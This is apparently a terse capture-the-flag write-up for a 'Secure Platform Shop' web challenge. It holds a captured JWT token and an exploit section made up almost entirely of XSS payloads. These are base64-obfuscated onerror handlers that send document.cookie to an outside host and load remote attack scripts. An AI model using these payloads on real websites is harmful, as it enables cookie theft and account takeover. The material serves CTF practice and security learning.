---
# System prepended metadata

title: Secure Platform Shop

---

# Secure Platform Shop
https://hackmd.io/@g0h4n/BJnZOPrw9/edit
[toc]

# INFO
```
New technologies are not always more secure .. Only admin is allowed to read flag.

But, maybe you can ?
```
https://sps.sthack.fr/

# RECON

## GOBUSTER
```

```


## JWT TOKEN
```
eyJhbGciOiJSUzI1NiIsImtpZCI6IjY5N2Q3ZmI1ZGNkZThjZDA0OGQzYzkxNThiNjIwYjY5MTA1MjJiNGQiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vc3RoYWNrLXN0aGFjayIsImF1ZCI6InN0aGFjay1zdGhhY2siLCJhdXRoX3RpbWUiOjE2NTMwNzQ5MzgsInVzZXJfaWQiOiJHMmRhN1pBMVUxZkNKT3dLejFlRk5qaWxISzkyIiwic3ViIjoiRzJkYTdaQTFVMWZDSk93S3oxZUZOamlsSEs5MiIsImlhdCI6MTY1MzA3NDkzOCwiZXhwIjoxNjUzMDc4NTM4LCJlbWFpbCI6ImFAYS5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsiYUBhLmNvbSJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.Cud2e6QAZaejst6H_5tpl0FBEhIMyTg9KfVJjwVgTqhs0nDv8-P8SDpvwMHhe8AWLISPO9govluCXu7jVJx2HtIoLAE4v1HTo5IwgDdNTekfBbZI-19n69nmu9LWAIKat4HpwzT00iusNROlJ78rlBmJy5x2g8M4-yBowA_fbUEL0-0HI1YbaS8RwBfIA__LVJjZMgoJvRQJz9aT6iMoPfR8n9ddQg75SvKpSd0Zdww56SoYlpmKhnBqJTAqlsHsVNjmfHRi3bDkGtUXym00e350qsrafrp0LIGUrEKffSvz4W0zElBX2lVXQ4mNCmT726VBgqo4pWga4dwM_le0Aw
```
![](https://i.imgur.com/pEUH0vF.png)



# EXPLOIT

![](https://i.imgur.com/Nirmfsf.png)
```html
<img src=x onerror='eval(atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly8xOTIuMTY4LjEuMTk0L2Nvb2tpZT9jPScrZG9jdW1lbnQuY29va2llCg=="))' />
```
![](https://i.imgur.com/UigDwid.png)

```
<img src=x onerror='document.write(atob("PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LjEuMTk0OjgxODEvZXguanMiPjwvc2NyaXB0Pg==")' />
echo -n '<script src="http://192.168.1.194:8181/ex.js"></script>' | base64 -w 0
```

```
<img src=x onerror=document.write(atob('PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXBpc3BzLnN0aGFjay5mci9tZXNzYWdlL3JlYWQiPjwvc2NyaXB0Pg=='))>

<script src="http://192.168.1.198/exploit.js"></script>
PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LjEuMTk4L2V4cGxvaXQuanMiPjwvc2NyaXB0Pg==

<script src="https://apisps.sthack.fr/message/read"></script>
PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXBpc3BzLnN0aGFjay5mci9tZXNzYWdlL3JlYWQiPjwvc2NyaXB0Pg==
```